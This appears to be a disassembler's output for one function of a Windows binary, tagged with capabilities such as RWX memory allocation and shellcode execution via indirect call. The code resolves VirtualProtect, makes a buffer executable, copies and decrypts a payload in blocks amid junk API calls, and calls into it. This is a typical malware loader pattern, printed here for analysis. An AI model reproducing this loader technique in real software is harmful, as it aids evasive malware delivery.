Function at 0x401a58
Capabilities:
Allocate or change rwx memory
Enumerate gui resources
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get disk size

Disassembly:
mov eax, 0x4247da
call fcn.00424598
sub esp, 0x4dc
push ebx
push esi
push edi
xor esi, esi
xor edi, edi
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp edi, 0x207142
jg 0x401a86
inc edi
cmp edi, 0x67d12
jl 0x401a6f
cmp dword [0x2078894], 0x93
jne 0x401b4e
push esi
call dword [sym.imp.KERNEL32.dll_AddAtomA]
xor eax, eax
lock bts dword [eax], 0
push esi
push esi
call dword [sym.imp.KERNEL32.dll_HeapCompact]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateHardLinkA]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_EnumResourceTypesA]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateJobSet]
push esi
lea eax, [ebp - 0x4e8]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_VerLanguageNameA]
push str.gegirikayozisarehax
lea ecx, [ebp - 0x40]
call fcn.00401deb
push esi
push esi
mov dword [ebp - 4], esi
call fcn.00404688
pop ecx
pop ecx
lea eax, [ebp - 0x18]
push eax
lea ecx, [ebp - 0x24]
mov dword [ebp - 0x18], str.bad_exception
call fcn.0040403d
lea ecx, [ebp - 0x24]
mov dword [ebp - 0x24], vtable.std::bad_exception.0
call fcn.00404099
lea eax, [ebp - 0xe8]
push eax
call fcn.004020ed
lea ecx, [ebp - 0x88]
call fcn.00402189
lea eax, [ebp - 0x88]
push eax
mov dword [ebp - 0x88], vtable.std::ios_base.0
call fcn.004031af
or dword [ebp - 4], 0xffffffff
pop ecx
push esi
push 1
lea ecx, [ebp - 0x40]
call fcn.004028be
mov eax, dword [0x42b888]
mov ebx, dword [sym.imp.KERNEL32.dll_LoadLibraryW]
add dword [0x2078894], 0x1134b
push str.kernel32.dll
mov dword [0x20796d0], eax
call ebx
push str.VirtualProtect
push eax
mov dword [0x2078324], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push dword [0x2078894]
mov dword [0x2078318], eax
push esi
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
lea ecx, [ebp - 0x10]
push ecx
push 0x40
push dword [0x2078894]
mov dword [0x2078320], eax
push eax
call dword [0x2078318]
mov edi, 0x1692e
push esi
lea eax, [ebp - 0x4e8]
push eax
call dword [sym.imp.USER32.dll_CharUpperBuffA]
call dword [sym.imp.USER32.dll_GetMessageTime]
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
dec edi
jne 0x401baf
cmp dword [0x2078894], esi
jbe 0x401c29
mov eax, dword [0x20796d0]
mov al, byte [eax + edi + 0x1134b]
mov ecx, dword [0x2078320]
mov byte [ecx + edi], al
cmp dword [0x2078894], 0x490
jne 0x401c20
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExA]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_IsBadWritePtr]
push esi
call ebx
lea eax, [ebp - 0x18]
push eax
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_ReadConsoleInputW]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetConsoleCtrlHandler]
inc edi
cmp edi, dword [0x2078894]
jb 0x401bd5
xor edi, edi
mov eax, dword [0x2078894]
add eax, edi
cmp eax, 0x8d
jne 0x401c54
push esi
push esi
call dword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.USER32.dll_ChangeMenuW]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_Module32FirstW]
inc edi
cmp edi, 0x38681
jl 0x401c2b
mov eax, dword [0x2078894]
mov ecx, dword [0x2078320]
shr eax, 3
cmp eax, esi
jbe 0x401c91
mov edi, ecx
mov ebx, eax
cmp dword [0x2078894], 0x959
jne 0x401c85
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
push edi
call fcn.00401670
add edi, 8
dec ebx
jne 0x401c73
xor edi, edi
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
cmp edi, 0x61
jne 0x401cb2
mov dword [ebp - 0x14], esi
add dword [ebp - 0x14], 0x3c58
mov eax, dword [ebp - 0x14]
add dword [0x2078320], eax
inc edi
cmp edi, 0x674bd
jl 0x401c93
push 0x7b
pop edi
cmp dword [0x2078894], 0x86
jne 0x401cef
push esi
push esi
push dword [ebp - 0x18]
push esi
call dword [sym.imp.KERNEL32.dll_HeapSetInformation]
push esi
call dword [sym.imp.KERNEL32.dll_GlobalHandle]
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetFileTime]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_IsBadHugeWritePtr]
dec edi
jne 0x401cbe
push str.msimg32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
call dword [0x2078320]
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
leave
ret